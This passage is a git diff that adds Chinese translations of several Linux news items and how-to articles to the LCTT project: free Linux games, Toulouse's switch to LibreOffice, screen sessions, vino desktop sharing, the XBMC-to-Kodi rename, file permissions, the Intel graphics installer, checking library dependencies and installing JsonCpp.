+ +### 4.《外星人竞技场 2008》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/AlienArena2008.jpg) + +《外星人竞技场》是一款独立 3D 第一人称在线死亡竞技射击类电子游戏,基于 id software 的雷神 II 与雷神 III 引擎的源代码制作而成。这款由 COR entertainment 开发的游戏于 2004 年 10 月发行,发行之日起即宣布免费,并且目前为止仍没有变更为付费游戏的计划。 + +游戏特色包括新的粒子引擎与特效、32 位画面、反光水面特效、光影、高分辨率画质及皮肤、染色地图,等等,使得《外星人竞技场 2008》成为一款引人注目的游戏。游戏从最初的版本“红色代码:外星人竞技场”到发行走了一段很长的路,其间更新了全部游戏角色、将近 24 张地图、武器模块,以及许多很重要的引擎提升与优化。 + +** 游戏介绍 **:37 个等级是外星人竞技场的重要特点,并且具有快速流畅的游戏体验以及高科技氛围。玩家可以选择在线与他人对战或者与红色代码构建的具有多种技能等级,如火箭跳跃及机枪扫射跳跃的机器人对战。游戏也提供了夺旗模式(Capture The Flag,CTF)与全队攻击模式(All Out Assault,AOA),玩家可以通过这些模式来进行战斗、死亡击球以及团队核心战斗。 + +#### 系统需求: #### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 推荐配置最低配置
CPUIntel 奔腾 4 处理器,1.7 GHz 或者 AMD Athlon XP 1800奔腾 3 处理器,800MHz
CPU 速率1.7 GHz800MHz (或者 1 GHz)
内存(RAM)512 MB256 MB
显卡BFG GeForce 7800 GS OCNVIDIA GeForce 4400+ 或者 ATI Radeon 8500+ (32 MB 显存)
显存64 MB32 MB
声卡可兼容 DirectX可兼容 DirectX
DirectX9.0c9.0c
硬盘500 MB500 MB
+ +### 5.《Nexuiz》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/nexuiz.jpg) + + 《Nexuiz》是一款由 Alientrap 开发并于 2005 年 5 月 31 日发行的第一人称射击死亡竞技类 3D 电子游戏,由一款名为 DarkPlaces 的修改过的雷神 1 引擎基础上制作,其特色包括 Quake3bsp 支持,日冕,新的粒子特效,真实世界时间系统还有动态光影,改进过的菜单系统和 Md3 模块支持。游戏需要在互联网或者局域网环境下进行。 + +** 游戏介绍 **:游戏是死亡竞技模式,同时附带极高的速度与难以想象的武器,提供急速行走方式。除了死亡竞技外还有其他几种游戏模式,如:团队竞技模式、猎杀模式、夺旗模式、多人变异者模式,武器选项模式也包含火箭竞技场模式、instagib 模式。尽管 Nexuiz 以多人模式为主,但同时包含完整的单人战役模式,允许一名玩家在丰富多彩的多人地图模式的基础上与本地机器人游戏。 + +#### 系统需求:#### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
推荐配置最低配置s
CPUIntel 酷睿 2 双核,2Ghz 或者 AMD Athlon 64 x2,2 Ghz,或者更好的处理器奔腾 III 处理器,1 Ghz 或者 AMD Athlon
内存(RAM)2 GB512 MB
显卡NVidia 8800GT,512 Mb 显存,ATI 3850HD,512Mb 显存,或者更好的显卡GeForce 2 或者 同等性能的显卡
硬盘3 GB400 MB
+ +### 6.《Tremulous》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/Tremulous.jpg) + +《Tremulous》是一款免费开源的游戏,包含有团队 FPS 模式与即时战略元素。游戏由 Dark Legion Development 在 ioquake2 游戏引擎的基础上开发,于 2005 年 8 月 11 日发行。尽管游戏的起源是雷神 3 的一个 mod,但最后却独立出来了。 + +《Tremulous》荣获了 Mod Database 举办的 2006 年 “年度 Mod” 颁奖典礼中的 “玩家评选的年度最佳独立游戏” 奖项,同时也获得了 Planet Quake 网站玩家投票的第一个“以雷神引擎开发的基于 GPL 协议的最佳免费游戏”。 + +** 游戏介绍 **:游戏背景可推测设定在未来,在那个时代人类与蜘蛛外形的外星人进行战斗。玩家可以在两个仅有的种族——人类与外星人——中选择自己的种族,每个种族的玩家都可以像即时战略游戏一样在游戏中进行建筑。其中最重要的建筑是重生点,重生点允许死亡的队友重新加入游戏。 + +#### 系统需求: #### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 推荐配置最低配置
CPU奔腾 4 处理器,3.46GHz 或者 Athlon 64 3800+奔腾 4 处理器,1.8GHz 或者 Athlon XP 1700+
内存(RAM)2 GB256 MB
显卡Nvidia GeForce GT 120 , AMD Radeon HD 4550Nvidia GeForce 210 , AMD Radeon X600 系列s
DirectX 版本DX 9.0cDX 9.0c
硬盘空间4 GB125 MB
+ +### 7.《Warsow》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/warsow.jpg) + +《Warsow》是一款在线的第一人称射击类(FPS)电子游戏,其创作灵感来源于 90 年代末期以及 20 世纪初期的快速步行射击。Warsow 的代码库是免费开源的软件,遵循 GPL 协议,在雷神 II 引擎的改进版 Qfusion 的基础上开发而来。Warsow 吸引人的地方在于其独一无二的体验,这些体验来自于其开发团队努力追求着去开发一款有趣、快速的动作类游戏,并且致力于速度、花样跳跃与动作的艺术。这款游戏在卡通风格中运用了细节阴影图像技术,使得游戏主题呈现出赛博朋克的风格。 + +** 游戏介绍 **:这款快速步行 3D 单人射击游戏将主要目标集中于移动和花样跳跃,其中许多花样来自于雷神系列,包括圆周跳跃、兔子跳跃、二段跳、斜坡滑行,以及火箭跳跃。除了这些花样,《Warsow》也允许玩家飞奔、闪避或者沿墙跳跃,这个动作很有可能是来源于《Urban Terror》。 + +### 系统需求: ### + + + + + + + + + + + + + + + + + + + + + + + + +
最低配置
CPU奔腾 II 处理器,300 Mhz 或者更好的处理器
内存(RAM)64 MB
显卡16 MB 显存(Riva TNT 或者更好的显卡)
硬盘400 MB
+ +** 注意 ** – 这款游戏的推荐配置可能不准确。下面是我们从一些论坛的讨论中得到的结果: + +- CPU – Intel 奔腾 4 处理器 (3.00 GHz) +- 内存(RAM) - 512 MB +- 显卡 - 256 MB (nVidia GeForce 5500 FX) +- 硬盘 - 2 GB + +### 8.《开放竞技场》(OA)### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/open-arena.jpg) + +《开放竞技场》是一款开源的多人 FPS 类游戏,基于由 id tech 3 引擎 fork 的 ioquake3 开发而来。游戏由 OpenArena 团队开发,并且遵守 GPLv2协议。游戏官方网站的下载版本包括 GNU/Linux,Microsoft Windows 以及 Mac OS X 操作系统的对应版,同样支持诸如 Debian、Gentoo、Fedora、Arch、Mandriva 还有 Ubuntu 等 Linux 发行版。开放竞技场是一款可以离线或者在线进行的免费游戏,玩家也可以自己架设局域网或者 Internet 服务器。 + +** 游戏介绍 **:《开放竞技场》几乎和《雷神 III 竞技场》一样:通过杀敌得分获得游戏胜利,在不同的场景下可以使用一系列为平衡游戏所设计的武器。每场竞赛都有其独特的“竞技场”,地图上玩家们互相残杀;游戏包含多种游戏类型:死亡竞赛、锦标赛、团队死亡竞赛,还有夺旗模式。由于暴力以及成人因素,这款游戏由于其暴力程度并不适于 17 岁以下的孩子。 + +#### 系统需求: #### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
推荐配置最低配置
CPU奔腾 III 处理器,700MHz / AMD Athlon XP 2800+奔腾 II 处理子,233MHz / AMD K6-2 300MHz 或者同等性能的处理器
内存(RAM)256 MB64 MB
显卡Geforce 4 Ti 440016 MB(附带 OpenGL 加速)
硬盘空间270 MB50 MB
+ +### 9.《Freecol》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/Freecol.jpg) + +《FreeCol》是一款免费开源的回合制策略类电子游戏,是古老游戏《殖民帝国》的仿制游戏,并且和《文明》非常相似。游戏最早于 2003 年 1 月 2 日发行,但是游戏的稳定版在 17 个 月前的 2013 年 1 月 7 日才刚刚发行。从游戏内容与过程来说,稳定版保持了最初版的样子,但是其游戏图像经过了重新设计。 + +** 游戏介绍 **:游戏时的目标是开拓新的殖民世界。游戏设定开始于 1492 年,初始有几艘船以及一些殖民者,玩家通过殖民者进行建筑并殖民扩张,同时与其他欧洲殖民者进行对抗。殖民者的扩张在欧洲王国的帮助下进行直到不再需要任何来自欧洲的协助,这表明殖民者已经独立并且不再需要任何来自外部的协助,接着宣布从王国独立出来。如果殖民者可以抵挡住来自王国的攻击,那么游戏就获胜了。 + +#### 系统需求: #### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
推荐配置最低配置
CPUIntel(R) 酷睿(TM)2 双核 CPU P8700,2.53 GHz奔腾 3 处理器,1GHz
内存(RAM)512 MB256 MB
Java 版本JRE 7(Java Runtime Environment 7)JREt 5 (or JRE 6)
屏幕分辨率1024 X 7681024 X 768
+ +### 10.《急速 Tux 竞赛》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/Extreme_Tux_Racer.jpg) + +《急速 Tux 竞赛》,原名《Tux 竞赛》,是一款免费的 3D 电脑游戏软件,允许玩家使用 Linux 吉祥物,Tux 企鹅进行游戏。游戏于 2000 年 10 月 2 日,由在加拿大安大略省滑铁卢大学就读的在校生 Jasmin Patry 发行。游戏是一款非常新颖的 Linux 游戏,是非常有趣简单的竞速比赛,没有任何复杂或者暴力的元素,这使得游戏适合于任何年龄段的玩家。 + +** 游戏介绍 **:游戏里,Tux 沿着各种不同的赛道在陡峭的被冰雪覆盖的山上滑行,以冲击最短时间与最高分数为目标。可以通过在赛道上冲刺滑行时收集鲱鱼来提高分数。在雪地滑行时活动将更加灵活,在冰上滑行能加快 Tux 的速度,在岩石上滑行则会拖慢 Tux 的速度。 + +### 系统需求: ### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
推荐配置最低配置
CPU400 MHz 的处理器,或者更好的处理器奔腾处理器,200MMX
内存(RAM)128 MB64 MB
显卡TNT2/Voodoo3-class 3D 显卡,或者更好的显卡3D 显卡,附带完全 OpenGL 支持
声卡16-bit16-bit
硬盘20 MB20 MB
+ +有话要说?在下面发表你的评论吧。 + +-------------------------------------------------------------------------------- + +via: http://mylinuxbook.com/top-10-free-linux-games/ + +作者:[Himanshu Arora][a] +译者:[SteveArcher](https://github.com/SteveArcher) +校对:[ wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://mylinuxbook.com/author/himanshuc/ +[1]:http://mylinuxbook.com/10-popular-fps-linux-games/ \ No newline at end of file diff --git a/published/201408/20140801 French City Toulouse Saved 1 Million Euro With LibreOffice.md b/published/201408/20140801 French City Toulouse Saved 1 Million Euro With LibreOffice.md new file mode 100644 index 0000000000..81ba8c22e8 --- /dev/null +++ b/published/201408/20140801 French City Toulouse Saved 1 Million Euro With LibreOffice.md @@ -0,0 +1,34 @@ +法国图卢兹市通过使用Libreoffice省了100万欧元 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/FRance_LibreOffice.jpg) + +[图卢兹][1]是法国第四大城市,坐落于法国西南部,它通过迁移到开源办公套件[LibreOffice][2]已经节省了一百万欧元。 + +迁移到LibreOffice是这个城市新的数字化政策的重要部分。在2011年作出决定后,2012年开始迁移,迁移总共花费了一年半,到今天已有90%的桌面(大约10000工作人员)运行LibreOffice。 + +政府每三年的办公软件授权大约要花180万欧元,而迁移总共花了80万欧元,所以城市总共省了100万欧元。 + +一切起始于Pierre Cohen在2008年被选作卢兹市市长。Cohen是一位IT专家,他的数字化政策起始于对开源软件的特别关注。正是他和他的助手Erwane Monthubert的努力下,图卢兹市在2011年决定切换到开源软件。 + +不只是LibreOffice。大多数的图卢兹市的官方门户网站,比如toulouse.fr、toulouse-metropole.fr、toulouse-metropole.fr和data.grandtoulouse.fr,都由自由软件支持。Alfresco被选作协同工具。 + +切换到开源软件看起来正在成为欧洲城市的潮流。在临近的西班牙瓦伦西亚和[加那利群岛抛弃了Microsoft Office节省了几百万][3];[法国首都的警察基于Ubuntu开发了他们自己的Linux OS][4]。这个列表还在继续增长,我希望我目前的城市Cote de Azur可以不久后加入这个列表。 + +点[这里][5]阅读所有报道。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/french-city-toulouse-saved-1-million-euro-libreoffice/ + +作者:[Abhishek][a] +译者:[2q1w2007](https://github.com/2q1w2007) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://zh.wikipedia.org/wiki/%E5%9B%BE%E5%8D%A2%E5%85%B9 +[2]:http://www.libreoffice.org/ +[3]:http://itsfoss.com/canary-islands-saves-700000-euro-open-source/ +[4]:http://itsfoss.com/french-national-police-switch-37000-desktops-to-linux/ +[5]:https://joinup.ec.europa.eu/elibrary/case/toulouse-saves-1-million-euro-libreoffice diff --git a/published/201408/20140804 Linux FAQs with Answers--How to check if I am in a running screen session.md b/published/201408/20140804 Linux FAQs with Answers--How to check if I am in a running screen session.md new file mode 100644 index 0000000000..0b32f2ef53 --- /dev/null +++ b/published/201408/20140804 Linux FAQs with Answers--How to check if I am in a running screen session.md @@ -0,0 +1,24 @@ +Linux FAQ与答案:如何检查我是否处于一个运行着的screen会话中 +================================================================================ +>**问题**:我经常使用screen命令来运行多个伪终端会话。好多次,我发现都记不得自己是否在一个screen会话中,还是在一个常规终端中。是否有一种简便的方法来检查我是否在一个运行着的screen会话中? + +一个快捷而又简单的方法来检查你是否处于一个screen伪终端中,还是在一个常规终端中,就是检查STY环境变量。当调用了screen,就会把STY变量值设置为会话名。因此,如果STY环境变量被设置为任何非空字符串,就意味着你正处于一个screen会话中。 + + $ echo $STY + +> 2858.pts-3.my_host + +然而,请注意,上面的方法**只有当**你是在本地计算机上运行screen命令的时候。如果你从本地计算机的screen会话中SSH到任何远程计算机上,远程计算机上的STY变量不会被设置,尽管在技术上看,你仍然处于一个screen会话中。 + +事实上,一个更为可靠的检查你是否处于一个screen会话中的方法,是按“Ctrl-a”+“Ctrl-t”。如果你处于screen会话中,终端会在底部显示时间信息。 + +![](https://farm6.staticflickr.com/5578/14821730712_6a139d72e9_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-running-screen-session.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140804 Linux FAQs with Answers--How to enable and configure desktop sharing on Linux Mint Cinnamon desktop.md b/published/201408/20140804 Linux FAQs with Answers--How to enable and configure desktop sharing on Linux Mint Cinnamon desktop.md new file mode 100644 index 0000000000..873f33a8d0 --- /dev/null +++ b/published/201408/20140804 Linux FAQs with Answers--How to enable and configure desktop sharing on Linux Mint Cinnamon desktop.md @@ -0,0 +1,54 @@ +Linux有问必答:如何在Linux Mint Cinnamon启用桌面共享 +================================================================================ + +>**问题**:我试着在Linux Mint 17 Cinnamon桌面上通过Vino VNC服务器(vino-server)启用桌面共享。但是,我发现用来配置vino-server(如,共享选项,安全,通知开/关)的vino首选项工具已经不复存在了。同时,我也的Cinnamon桌面上也找不到共享菜单。我怎样才能在最新的Linux Mint 17 Cinnamon桌面上通过vino-server配置桌面共享? + +最新的Linux Mint 17 Cinnamon桌面附带了预安装用于VNC桌面共享的vino-server,但是它报告说桌面共享菜单丢失了。 + +一个配置vino-server并启用桌面共享的可选方式,是使用dconf-editor的图形界面。 + +首先安装dconf-editor: + + $ sudo apt-get install dconf-editor + +启动dconf-editor。 + + $ dconf-editor + +在dconf-editor的左边面板中导航到“org->gnome->desktop->remote-access”,然后你将会看到各种各样的桌面共享选项。 + +![](https://farm4.staticflickr.com/3916/14843965473_e68598b01b_z.jpg) + +最重要的是,点击“enabled”来激活桌面远程访问。除此之外,你还可以自定义其它选项。 + +例如,你可以通过修改以下字段来启用VNC密码验证: + +- **authentication-methods**: 设置为 ['vnc'] +- **vnc-password**: 将你喜欢的密码修改为Base64编码的字符串。 + +在本例中,我们选择“password”为VNC密码,它的Base64编码字符串为“cGFzc3dvcmQ=”。 + +你也可以选择启用其它选项: + +- notify-on-connect: 当vino-server接收到连接请求时显示桌面通知。 +- prompt-enabled: 远程用户不允许通过VNC工具访问桌面,除非VNC请求被该桌面的拥有者许可。 + +### 排障 ### + +1. 当启动vino-server时,我碰到了下面的错误。 + + ** (vino-server:4280): WARNING **: The desktop sharing service is not enabled, so it should not be run. + +要启用桌面共享服务,请使用上面讲过的dconf-editor。 +也可以选择运行以下命令: + + # gsettings set org.gnome.Vino enabled true + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/enable-configure-desktop-sharing-linux-mint-cinnamon-desktop.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140804 Open-Source Media Center 'XBMC' Announces New Name.md b/published/201408/20140804 Open-Source Media Center 'XBMC' Announces New Name.md new file mode 100644 index 0000000000..966e32aa50 --- /dev/null +++ b/published/201408/20140804 Open-Source Media Center 'XBMC' Announces New Name.md @@ -0,0 +1,59 @@ +开源媒体中心‘XBMC’为什么要改名? +================================================================================ +![Beginnings: the project began life as an Xbox video player](http://www.omgubuntu.co.uk/wp-content/uploads/2014/06/89ee51bbc7feb9d64b00913bdfe703c4.png) + +早期:项目一开始是运行在Xbox上的视频播放器。 + +**一个在Linux平台(以及其他各种平台)上最受欢迎的开源媒体中心软件将启用新名字。** + +XBMC将不再使用;在项目的下一个重要发布版(第14版)中,将以‘Kodi’的名字出现。 + +这个社区项目建立于2002年,用于在Xbox游戏机上播放数字媒体内容。总的来说,在那之后项目一直使用从Xbox衍生出来的名字。早期版本被命名为‘**Xbox媒体播放器**’,然后改成‘**Xbox媒体中心**’以展示新增的功能。在移植到微软游戏机之外的平台后,于2008年确定了首字母缩写‘XBMC’的名称。 + +之前,在这个网站上‘XBMC’出现了一遍又一遍。 + +为什么要换名字?为什么是现在?‘Kodi’到底有没有什么特殊含义? + +> ‘这个软件仅仅勉强能运行在第一代Xbox上...’ + +“*这个软件仅仅勉强能运行在第一代Xbox上,那是因为许多聪明的开发人员仍然在那个平台上开发,它不能在Xbox 360或者Xbox One上运行。*”项目负责人**Nathan Betzen**在XBMC博客上这样解释。 + +如今这个软件已经拥有远远超过以往的功能,包括针对不同市场的插件,游戏功能以及流媒体支持,这已经不能用‘*一个简单的媒体中心*’来包含所有的一切了。 + +因为这个原因,Betzen这样总结,“**XB**”和“**MC**”就已经没有有太大意义。 + +对于XBMC信徒也无可厚非,名字改动也**解决了许多长期存在的法律风险**。“*我们从来都没有真正在法律意义上拥有过项目名字的使用权...*”Betzen说,并且补充道,“XBMC基金会成立于2009年,旨在更好地协助和管理软件开发,一直在面临拥有相似商标的‘其他公司的潜在法律威胁’的情况下运作”。 + +### 于是乎,Kodi ### + +![The (temporary) new logo](http://www.omgubuntu.co.uk/wp-content/uploads/2014/08/kodi-logo.jpg) + +新标志(临时) + +即将发布的XBMC 14版本中,项目将正式过渡采用新名字‘Kodi’。除了听起来特别酷以外,这个名字貌似没有什么特殊含义。 + +变更不是一件容易的事情,对于XMBC/Kodi开发人员来说,还有大量的手工活要做:代码必须要整体调整使用新名字,这需要在支持的所有平台进行测试和双重确认。网站,协议以及界面图片也都需要调整,还有email地址,开发者账号,以及更多的细节。 + +“但是”,Betzen这样总结,“我们相信在你的支持以及整个社区的支持下,Kodi,这个我们都热爱的媒体中心或娱乐平台或是不管你叫做什么,将会比以往更加强大。” + +非常正确。关于这次代号变更的更深层意义,你可以去官方网站溜达一下,链接在下边。 + +- [‘Kodi 14简介′(官方声明贴)][1] + +想尝试一下这个娱乐中心的最新稳定版的话,你得把官方的项目PPA添加到自己的软件源中。 + +- [Launchpad上XBMC团队的PPA][2] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/08/xbmc-renamed-lodi-starting-version-14 + +作者:[Joey-Elijah Sneddon][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://xbmc.org/introducing-kodi-14/ +[2]:https://launchpad.net/~team-xbmc/+archive/ppa diff --git a/published/201408/20140807 Command Line Tuesdays--Part Seven.md b/published/201408/20140807 Command Line Tuesdays--Part Seven.md new file mode 100644 index 0000000000..fc373adadb --- /dev/null +++ b/published/201408/20140807 Command Line Tuesdays--Part Seven.md @@ -0,0 +1,79 @@ +命令行星期二——第七部分 +============================================================================================================== +嗨,极客们,我已经检查了我们的课程,今天我们在八章课程里的第七部分。这就是说下周二我们还有一次课程,但也是最后一次“命令行星期二”课程。所以,今天,我们讨论一些关于**权限**的问题! + +众所周知,一台机器可能会有多名用户共同使用。为了保证用户之间互不干扰,就需要分配不同的权限。我们已经讨论了文件权限的问题,你可以轻轻[点此](1)回顾一下: + +![](http://linuxcommand.org/images/file_permissions.png) + +### chmod ### + +**chmod**命令被用来修改目录或者文件的权限。为了修改权限,首先你得输入chmod命令,之后你得输入规范的权限修改,然后你就可以把目录或者文件的权限修改成你想要的。这可以采用多种方式完成,但是肖茨先生喜欢八进制表示法。 + +把权限想象成一系列的位,每一个不为空的权限槽就是1,空的权限槽就是0。举个例子: + + rwx = 111 + + rw- = 110 + +等等 + +看一下二进制表示法: + + rwx = 111 --> in binary = 7 + + rw- = 110 --> in binary = 6 + + r-x = 101 --> in binary = 5 + + r– = 100 --> in binary = 4 + +现在,如果你想把一个文件的权限改为:文件所有者和文件所有组拥有读,写,执行权限,但是其他用户没有该文件任何权限,我们可以这样做: + + chmod 770 example_file + +### su 和 sudo ### + +有些时候普通用户需要成为超级用户,这样才能完成一些任务(通常是一些安装软件任务)。为了暂时的获取超级用户权限,我们可以使用**su**程序,输入: + + su + +输入你的超级用户密码,你就成为超级用户了。但是,警告:别忘记用一会之后(不需要的话)就退出超级用户模式。 + +在openSUSE和Ubuntu也其它的一些可选工具,它叫做sudo,sudo只是在某些方面和su不同,它是分配给制定用户的特殊命令,不像su,你可以用你自己用户的密码执行sudo,而不需要超级用户密码,举个例子: + + sudo zypper in goodiegoodie + +### 修改文件和组所有权 ### + +想要改变文件的所有者,你可以在超级用户模式下运行**chown**,举个例子,如果我想把文件的所有权从‘nenad’改为‘suse’,我可以这样做: + + su + + [输入密码] + + chown suse example_file + +同样地,我也可以改变组的所有权,使用稍有不同的**chgrp**命令,很简单: + + chgrp suse_group example_file + +### 下一次 ### + +正如我所阐述的,下一次我们就会结束这个系列。在此之后,相信你会做出自己的选择,和我一起徜徉在终端的黑暗之中,只有一个绿色的闪烁光标作为灯塔。在那之前,极客们,记住 + +....享受更多的乐趣! + +--------------------------------------------------------------- + +via: https://news.opensuse.org/2014/08/05/command-line-tuesdays-part-seven/ + +作者:[Nenad Latinović][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://news.opensuse.org/author/holden87/ +[1]:https://news.opensuse.org/2014/07/01/command-line-tuesdays-part-three/ + diff --git a/published/201408/20140807 Latest Intel Linux Graphics Drivers Now Available on Ubuntu 14.04 LTS.md b/published/201408/20140807 Latest Intel Linux Graphics Drivers Now Available on Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..bf1d02a440 --- /dev/null +++ b/published/201408/20140807 Latest Intel Linux Graphics Drivers Now Available on Ubuntu 14.04 LTS.md @@ -0,0 +1,40 @@ +最新的英特尔Linux图形驱动程序可以在Ubuntu 14.04 LTS上使用了 +================================================================================ +![Intel Makes it Easy to Install Drivers](http://www.omgubuntu.co.uk/wp-content/uploads/2014/01/intel-driver-update-utility-unity.jpg) + +英特尔使驱动安装变得简单 + +**新版本的英特尔[Linux图形安装程序][1]可下载。** + +这个开源工具提供了简单途径在Ubuntu中获取最新因特尔设备支持的图形和视频驱动。 + +在**版本1.0.6**中首次使其[六月底][2]发布的2014Q2图形堆栈可在Ubuntu 14.04中使用。 + +它也带来了更好的Bay Trail性能,节能优化,并且改善了对英特尔Broadwell芯片的支持。 + +对Linux用户来说,想要向Intel所说的那样“保持当前最新的改进、优化和修复”,最好的方法就是运行最新可用的堆栈。 + +### 下载 ### + +最新版本的图形安装程序支持Ubuntu 14.04 LTS和Fedora 20。Ubuntu 13.10的用户可以继续使用这个工具,但不能获取最新的驱动程序。 + +Ubuntu 14.04 LTS [32位][3]或[64位][4]可用的的Deb安装包可在 01.org 网站下载,链接如下。 + +- [Download Intel Graphics Installer 1.0.6 for Ubuntu][5] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/08/intel-graphics-installer-linux-updated-1-0-6 + +作者:[Joey-Elijah Sneddon][a] +译者:[linuhap](https://github.com/linuhap) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://01.org/linuxgraphics/ +[2]:http://www.omgubuntu.co.uk/2014/07/intel-graphics-stack-2014-q2-update +[3]:https://download.01.org/gfx/ubuntu/14.04/main/pool/main/i/intel-linux-graphics-installer/intel-linux-graphics-installer_1.0.6-0intel1_i386.deb +[4]:https://download.01.org/gfx/ubuntu/14.04/main/pool/main/i/intel-linux-graphics-installer/intel-linux-graphics-installer_1.0.6-0intel1_amd64.deb +[5]:https://01.org/linuxgraphics/downloads/2014/intelr-graphics-installer-1.0.6-linux diff --git a/published/201408/20140807 Linux FAQs with Answers--How to check what libraries are used by a program or process on Linux.md b/published/201408/20140807 Linux FAQs with Answers--How to check what libraries are used by a program or process on Linux.md new file mode 100644 index 0000000000..6c8d059e67 --- /dev/null +++ b/published/201408/20140807 Linux FAQs with Answers--How to check what libraries are used by a program or process on Linux.md @@ -0,0 +1,45 @@ +Linux有问必答:如何查看Linux上程序或进程用到的库 +================================================================================ +> **问题**:我想知道当我调用一个特定的可执行文件在运行时载入了哪些共享库。是否有方法可以明确Linux上可执行程序或运行进程的共享库依赖关系? + + +### 查看可执行程序的共享库依赖关系 ### + +要找出某个特定可执行依赖的库,可以使用ldd命令。这个命令调用动态链接器去找到程序的库文件依赖关系。 + + $ ldd /path/to/program + +![](https://farm4.staticflickr.com/3872/14846153231_195cfff0f0_z.jpg) + +注意!并不推荐为任何不可信的第三方可执行程序运行ldd,因为某些版本的ldd可能会直接调用可执行程序来明确其库文件依赖关系,这样可能不安全。 + +取而代之的是用一个更安全的方式来显示一个未知应用程序二进制文件的库文件依赖,使用如下命令: + + $ objdump -p /path/to/program | grep NEEDED + +![](https://farm6.staticflickr.com/5552/14849218545_e3b667e742_o.png) + +###查看运行进程的共享库依赖关系### + +如果你想要找出被一个运行中的进程载入的共享库,你可以使用pldd命令,它会显示出在运行时被载入一个进程里的所有共享对象。 + + $ sudo pldd + +注意你需要root权限去执行pldd命令。 + +![](https://farm6.staticflickr.com/5570/14846775694_96a6b96592_z.jpg) + +或者,也可以选择一个叫做pmap的命令行工具。它报告一个进程的内存映射,也能显示出运行进程的库文件依赖。 + + $ sudo pmap + +![](https://farm4.staticflickr.com/3919/14848885042_7e5bee2684_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-library-dependency-program-process-linux.html + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201408/20140807 Linux FAQs with Answers--How to fix 'fatal error--jsoncpp or json or json.h--No such file or directory'.md b/published/201408/20140807 Linux FAQs with Answers--How to fix 'fatal error--jsoncpp or json or json.h--No such file or directory'.md new file mode 100644 index 0000000000..888927b7cb --- /dev/null +++ b/published/201408/20140807 Linux FAQs with Answers--How to fix 'fatal error--jsoncpp or json or json.h--No such file or directory'.md @@ -0,0 +1,39 @@ +Linux常见问题与答案——如何修复“fatal error: jsoncpp/json/json.h: No such file or directory”问题 +================================================================================ +>**问题**:我试着编译一个C++程序,但是我碰到了以下错误: +> +>“fatal error: jsoncpp/json/json.h: No such file or directory” +> +>我怎样修复这个问题呢? + +该错误指出你缺少JsonCpp开发文件(例如,JsonCpp库和头文件)。[JsonCpp][1]是一个用于JSON格式数据复制的C++库。下面给出了在不同Linux发行版上安装JsonCpp开发文件的方法。 + +在Debian, Ubuntu或者Linux Mint上: + + $ sudo apt-get install libjsoncpp-dev + +在Fedora上: + + $ sudo yum install jsoncpp-devel + +在CentOS上,没有JsonCpp的预编译包。因此你可以通过以下源码构建一个JsonCpp包并安装。 + + $ sudo yum install cmake + $ git clone https://github.com/open-source-parsers/jsoncpp.git + $ cd jsoncpp + $ mkdir -p build/debug + $ cd build/debug + $ cmake -DCMAKE_BUILD_TYPE=debug -DJSONCPP_LIB_BUILD_SHARED=OFF -G "Unix Makefiles" ../../ + $ make + $ sudo make install + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/fix-fatal-error-jsoncpp.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/open-source-parsers/jsoncpp diff --git a/published/201408/20140807 This Is What' s New In Linux 3.16.md b/published/201408/20140807 This Is What' s New In Linux 3.16.md new file mode 100644 index 0000000000..5593f00ff5 --- /dev/null +++ 